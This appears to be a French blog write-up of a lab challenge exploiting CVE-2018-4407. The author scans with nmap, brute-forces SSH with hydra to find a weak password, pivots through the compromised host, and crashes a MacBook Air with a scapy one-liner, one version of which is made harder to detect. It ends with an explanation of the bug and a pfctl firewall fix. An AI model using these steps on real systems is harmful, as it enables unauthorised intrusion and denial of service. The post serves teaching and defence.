Après avoir découvert une vuln sur macOS, séance challenge ! Trouver et crasher la machine sous macOS sur le réseau !





Phase 1 : énumérer la liste des machines sur le réseau


Mon adresse IP est :


 
ip address
 


1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 70:72:0d:13:37:e0 brd ff:ff:ff:ff:ff:ff
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 70:72:0d:13:37:e1 brd ff:ff:ff:ff:ff:ff
    inet 172.42.201.101/24 brd 172.42.201.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::7272:dff:fe13:37e1/64 scope link
       valid_lft forever preferred_lft forever
4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 70:72:0d:13:37:e2 brd ff:ff:ff:ff:ff:ff
    inet 172.20.10.6/28 brd 172.20.10.15 scope global eth2
       valid_lft forever preferred_lft forever
    inet6 fe80::7272:dff:fe13:37e2/64 scope link
       valid_lft forever preferred_lft forever

ping_sweep() = balayge ARP&ICMP du réseau :


 
nmap -sn -n -T4 172.20.10.0/28
 


Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 00:49 CET
Nmap scan report for 172.20.10.1
Host is up (0.0027s latency).
MAC Address: 6A:DB:CA:27:C8:64 (Unknown)
Nmap scan report for 172.20.10.2
Host is up (0.28s latency).
MAC Address: 44:6D:57:EE:80:76 (Liteon Technology)
Nmap scan report for 172.20.10.3
Host is up (0.28s latency).
MAC Address: C8:21:58:40:EE:99 (Intel Corporate)
Nmap scan report for 172.20.10.11
Host is up (0.00014s latency).
MAC Address: 8C:64:22:13:37:42 (Sony Mobile Communications AB)
Nmap scan report for 172.20.10.6
Host is up.
Nmap done: 16 IP addresses (5 hosts up) scanned in 1.34 seconds






Phase 2 : identifier les systèmes des machines détectées


 
nmap  -sS -T3 -sV  -O --osscan-limit --osscan-guess -n 172.20.10.1 172.20.10.2 172.20.10.3 172.20.10.11 172.20.10.6
 
# -sS             envoie une demande de connexion sans l'acquitter (SYN scan)
# -T3             timing de 3/5 (vitesse moyenne de scan)
# -sV             essaie de récupérer les versions des services
# -O              active la détection du système d'exploitation
# --osscan-limit  fait une 1ère tentative de dédection du système
# --osscan-guess  fait une tentative plus poussée de dédection du système
# -n              ne chercher à faire de rétro-résolution DNS (retrouver un nom d'hôte à partir de son IP)
 


Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-07 23:19 CET
Nmap scan report for 172.20.10.1
Host is up (0.0033s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE    VERSION
21/tcp    open  ftp?
53/tcp    open  domain     (generic dns response: NOTIMP)
62078/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.70%I=7%D=11/7%Time=5BE22FE6%P=x86_64-pc-linux-gnu%r(DNSS
SF:tatusRequestTCP,E,"?x0c??x90x04????????");
MAC Address: 6A:DB:CA:27:C8:64 (Unknown)
Device type: phone|general purpose|media device|proxy server
Running (JUST GUESSING): Apple iOS 8.X|9.X|5.X|6.X|7.X (89%), Apple OS X 10.11.X|10.10.X (88%), Blue Coat SGOS 6.X (85%)
OS CPE: cpe:/o:apple:iphone_os:8.1.2 cpe:/o:apple:iphone_os:9 cpe:/o:apple:mac_os_x:10.11.2 cpe:/o:apple:iphone_os:5 cpe:/o:apple:iphone_os:6 cpe:/o:apple:iphone_os:7.1.1 cpe:/o:bluecoat:sgos:6.3.2.201 cpe:/o:apple:mac_os_x:10.10
Aggressive OS guesses: Apple iOS 8.1.2 (Darwin 14.0.0) (89%), Apple iOS 8.0 - 8.1 (Darwin 14.0.0) (88%), Apple iOS 8.3 (Darwin 14.0.0) (88%), Apple iOS 9 (Darwin 15.0.0) (88%), Apple OS X 10.11.2 (El Capitan) (Darwin 15.2.0) (88%), Apple iOS 5.1.1 - 6.1 (86%), Apple iOS 7.1.1 (86%), Blue Coat proxy server (SGOS 6.3.2.201) (85%), Apple iOS 5.1.1 (85%), Apple OS X 10.10 (Yosemite) - 10.11 (El Capitan) (Darwin 14.0.0 - 15.0.0) (85%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=11/7%OT=21%CT=1%CU=42137%PV=Y%DS=1%DC=D%G=Y%M=6ADBCA%T
OS:M=5BE2307F%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=108%TI=Z%CI=RI%II=
OS:RI%TS=A)SEQ(SP=104%GCD=2%ISR=106%TI=Z%II=RI%TS=A)OPS(O1=M582NW6NNT11SLL%
OS:O2=M582NW6NNT11SLL%O3=M582NW6NNT11%O4=M582NW6NNT11SLL%O5=M582NW6NNT11SLL
OS:%O6=M582NNT11SLL)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN
OS:(R=Y%DF=N%T=40%W=FFFF%O=M582NW6SLL%CC=Y%Q=)T1(R=Y%DF=N%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=N%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=
OS:0%Q=)T6(R=Y%DF=N%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF
OS:=N%T=40%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=0%RUD=G)IE(R=Y%DFI=N%T=40%
OS:CD=S)

Network Distance: 1 hop

Nmap scan report for 172.20.10.2
Host is up (0.0051s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       (protocol 2.0)
53/tcp   open  domain    ISC BIND 9.10.3-P4 (Ubuntu Linux)
3000/tcp open  ntop-http Ntop web interface 5.0.1
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port22-TCP:V=7.70%I=7%D=11/7%Time=5BE22FE1%P=x86_64-pc-linux-gnu%r(NULL
SF:,30,"SSH-2.0-OpenSSH_7.2p2 Trisquel_GNU/Linux_8.0-1
");
MAC Address: 44:6D:57:EE:80:76 (Liteon Technology)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nmap scan report for 172.20.10.3
Host is up (0.032s latency).
Not shown: 997 filtered ports
PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?
MAC Address: C8:21:58:40:EE:99 (Intel Corporate)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 172.20.10.11
Host is up (0.00022s latency).
All 1000 scanned ports on 172.20.10.11 are filtered
MAC Address: 8C:64:22:13:37:42 (Sony Mobile Communications AB)

Nmap scan report for 172.20.10.6
Host is up (0.000013s latency).
All 1000 scanned ports on 172.20.10.6 are closed

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 5 IP addresses (5 hosts up) scanned in 218.50 seconds






./files/cve-2018-4407/01.png






hydra -L logins.txt -P pass.txt ssh://172.20.10.2


Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-11-07 23:50:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 319 login tries (l:11/p:29), ~20 tries per task
[DATA] attacking ssh://172.20.10.2:22/
[22][ssh] host: 172.20.10.2   login: nexus   password: p@ssw0rd






ssh nexus@172.20.10.2


Last login: Wed Nov  7 23:51:05 2018
nexus@Nexus:~$ sudo -s

[sudo] password for nexus:


root@Nexus:~#

PWND! Allez, on scanne de l'autre côté du réseau :


ip a


1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:26:6c:26:d9:9e brd ff:ff:ff:ff:ff:ff
    inet 192.168.0.254/24 brd 192.168.0.255 scope global enp1s0
       valid_lft forever preferred_lft forever
    inet6 fe80::226:6cff:fe26:d99e/64 scope link
       valid_lft forever preferred_lft forever
3: wlp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 44:6d:57:ee:80:76 brd ff:ff:ff:ff:ff:ff
    inet 172.20.10.2/28 brd 172.20.10.15 scope global dynamic wlp2s0
       valid_lft 80212sec preferred_lft 80212sec
    inet6 fe80::c240:24b2:731b:6960/64 scope link
       valid_lft forever preferred_lft forever
4: bridge0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default qlen 1000
    link/ether 16:af:4f:45:5e:03 brd ff:ff:ff:ff:ff:ff

nmap -sn -n -T4 192.168.0.0/24 


Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-07 23:56 CET
Nmap scan report for 192.168.0.107
Host is up (0.00070s latency).
MAC Address: 00:E0:4C:68:10:AC (Realtek Semiconductor)
Nmap scan report for 192.168.0.254
Host is up.
Nmap done: 256 IP addresses (2 hosts up) scanned in 3.54 seconds

nmap  -sS -T3 -sV  -O --osscan-limit --osscan-guess -n 192.168.0.107 


Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-07 23:57 CET
Stats: 0:03:20 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 85.71% done; ETC: 02:00 (0:00:22 remaining)
Nmap scan report for 192.168.0.107
Host is up (0.00099s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 7.4 (protocol 2.0)
88/tcp   open  kerberos-sec  Heimdal Kerberos (server time: 2018-11-07 00:58:29Z)
445/tcp  open  microsoft-ds?
548/tcp  open  afp           Apple AFP (name: Exodus; protocol 3.4; Mac OS X 10.9 - 10.10; MacBookAir6,2)
3031/tcp open  eppc?
3283/tcp open  netassistant?
5900/tcp open  vnc           Apple remote desktop vnc
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3031-TCP:V=7.01%I=7%D=11/7%Time=5BE238C7%P=i686-pc-linux-gnu%r(X11P
SF:robe,C,"PPCT???x01????");
MAC Address: 00:E0:4C:68:10:AC (Realtek Semiconductor)
OS details: Apple Mac OS X 10.7.0 (Lion) - 10.10 (Yosemite) or iOS 4.1 - 8.3 (Darwin 10.0.0 - 14.5.0)
Network Distance: 1 hop
Service Info: OS: Mac OS X; CPE: cpe:/o:apple:mac_os_x:10.9, cpe:/o:apple:mac_os_x

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 218.73 seconds

Ok, maintenant nous devons ecrire un script qui verifie en boucle que ce Macbook Air est en ligne (via ping et une connexion TCP) et tester notre exploit.







./files/cve-2018-4407/02.png






./files/cve-2018-4407/03.png







Nous aurons besoin de arping plus efficace et plus bas niveau que ping :


 
apt-get install arping
 

Le script pour verifier qu'un hote avec des services est bien accessible.
 
#!/bin/sh
score=0
ifce="$1"
target="$2"
port="$3"
while true ; do
  arping -I $ifce -c 2  $target     &gt;/dev/null 2&gt;&1 && score=$((score+1))
  nc -zn $target $port  &gt;/dev/null 2&gt;&1 && score=$((score+1))
  [ $score -eq 2 ] && echo "$(date) - $target is alive" || echo "$(date) - $target seems dead"
  sleep .7
  score=0
done
 

 
bash testhost.sh enp0s1 192.168.0.107 3031 # On aurait pu prendre n'importe quel autre port ouvert à condition qu'il réponde bien ("succeeded!")
 


mercredi 7 novembre 2018, 00:17:09 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:11 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:12 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:14 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:16 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:17 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:19 (UTC+0100) - 192.168.0.107 is alive
mercredi 7 novembre 2018, 00:17:53 (UTC+0100) - 192.168.0.107 is alive

On récupère l'exploit depuis Github (ou autre) :


Depuis une autre session, on ecrit l'exploit :


 
scp check_icmp_dos.py nexus@172.20.10.2:/tmp/exploit.py
 

On se connecte :


 
ssh nexus@172.20.10.2
 

On installe les prérequis (scapy) :


 
# debian-like :
apt-cache search scapy
 


python-scapy - Packet generator/sniffer and network scanner/discovery

 
# debian-like :
apt-get install python-scapy
 

On lance l'exploit :


 
sudo python /tmp/exploit.py 192.168.0.107
 


[!] Offensive mode - exploit could crash your target!
[+] Trying CVE-2018-4407/ICMP-DoS on '192.168.0.107'
[+] Packets sent 12
[-] Exploit finished.

Sur l'autre session on peut alors voir :



mercredi 7 novembre 2018, 00:18:09 (UTC+0100) - 192.168.0.107 seems dead
mercredi 7 novembre 2018, 00:18:11 (UTC+0100) - 192.168.0.107 seems dead

PWNED !








L'exploit tient en une ligne Python :


 
IP(dst="192.168.0.107",options=[IPOption("A"*1)])/TCP(options=[(19, "1"*18),(19, "2"*18)])
 


En version un peu plus difficile à détecter :


 
IP(dst="192.168.0.107",options=[IPOption("A")])/TCP(sport=randint(1025,65535),dport=randint(22,1024),options=[(19, "x00"*18),(19, "x00"*18)])
 


Il faut savoir que cette exploit a été possible dans son contexte grâce à la liaison directe entre le PC sous Linux et le Macbook Air via un switch, qui ne filtre pas les paquets TCP/IP malformés - ce qu'à peu près n'importe quel routeur récent fait.

Le bug intervient en fait dans les options IP et TCP. tcpdump voit :



02:57:02.842110 IP 192.168.0.254.20 > 192.168.0.107.80: Flags [S], seq 0, win 8192,
 options [md5 shared secret not supplied with -M, can't check - 31313131313131313131313131313131[len 20],[bad opt]>
  0x0000:  4600 0054 0001 0000 4006 b5e9 c0a8 00fe  F..T....@.......
  0x0010:  c0a8 006b 4100 0000 0014 0050 0000 0000  ...kA......P....
  0x0020:  0000 0000 f002 2000 c7f5 0000 1314 3131  ..............11
  0x0030:  3131 3131 3131 3131 3131 3131 3131 3131  1111111111111111
  0x0040:  1314 3232 3232 3232 3232 3232 3232 3232  ..22222222222222
  0x0050:  3232 3232                                2222


- les options TCP sont invalides "[bad opt]"
- le paquet est traité par la fonction m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip); afin de retourner une erreur de connexion : d'où le fait qu'on puisse envoyer la charge sur n'importe quel, ouvert ou fermé
- la vulnérabilité concerne le traitement d'une réponse à travers ICMP (ex. icmp-admin-prohibited) non pas le protocole ICMP








Cette vulnérabilité n'a aucun impacte sur un système dit "conforme" - c'est à dire qui réponds aux exigences de sécurité préconisés par les différentes entités connues et reconnues (CIS, DISA, NIST, Lynis, ANSSI).
Parmi ces exigences, celle d'activer le firewall natif pfctl permet de rendre inefficace cette vulnérabilité, car pfctl intercepte les paquets, et les filtres en fonction de ses règles et les transmet ensuite au noyau XNU. Ainsi les paquets malformés (*) comme celui de l'exploit, ne sont pas traités par le noyaux car rejeté (dropped) par pfctl.

* Dans sa version 2.2.6 Wireshark a un module pour déterminer la dangerosité de l'attaque. Il marque ces paquets comme "spurged" (faussé/fallacieux).








Il suffira alors de vérifier les options IP et TCP et s'apercevoir qu'elles sont surchargées.








A l'heure d'aujourd'hui, nous avons constaté que la vulnérabilité a été corrigée par Apple dans sa mise à jour vers la version 10.13.6.



En dehors d'avoir à garder son système à jour - chose qui selon le contexte peut s'avérer compliqué - la conformité permet de restreindre au maximum le vecteur d'attaque.

Dans ce cas, il est possible de charger pfctl au démarrage. Pour cela il faut créer : /Library/LaunchDaemons/local.pfctl.plist avec le contenu suivant :


 
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"     "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Disabled</key>
    <false/>
    <key>Label</key>
    <string>local.pfctl</string>
    <key>Program</key>
    <string>/sbin/pfctl</string>
    <key>ProgramArguments</key>
    <array>
            <string>pfctl</string>
            <string>-E</string>
            <string>-f</string>
            <string>/etc/pf.conf</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>StandardErrorPath</key>
    <string>/tmp/local.pfctl.err</string>
    <key>StandardOutPath</key>
    <string>/tmp/local.pfctl.out</string>
    <key>WorkingDirectory</key>
    <string>/var/run</string>
</dict>
</plist>
 

Puis l'activer via launchctl :


 
sudo launchctl load -w /Library/LaunchDaemons/local.pfctl.plist
 

Pour le charger immédiatement :


 
sudo pfctl -E -f /etc/pf.conf
 



   =>   Écrit par : Nicolas, le 07 novembre 2018


 
Mots clés :  
  security 
  
  macos 
  
  system 
  
  challenges 
    >   Articles connexes :

User Firewall


Le firewalling correspond à la configuration particulière que peut avoir un pare-feu (firewall). Cette configuration particulière correspond en fait à une suite de règles souvent prédéfinies par un pare-feu


Metasploit Framework

Metasploit Framework



ArpON

ArpON


Gérer Timemachine sous macOS High Sierra


La commande tmutil (timemachine utility) a changé pour s'adapter au nouveau système de fichier, APFS (Apple FileSystem). Ainsi les sauvegarde locales (snapshot) se gèrent différement, et les commandes qui était...


Fonctions récursives

Fonctions récursives



NDH2K18 - 16ème NDH

NDH2K18 - 16ème NDH


admin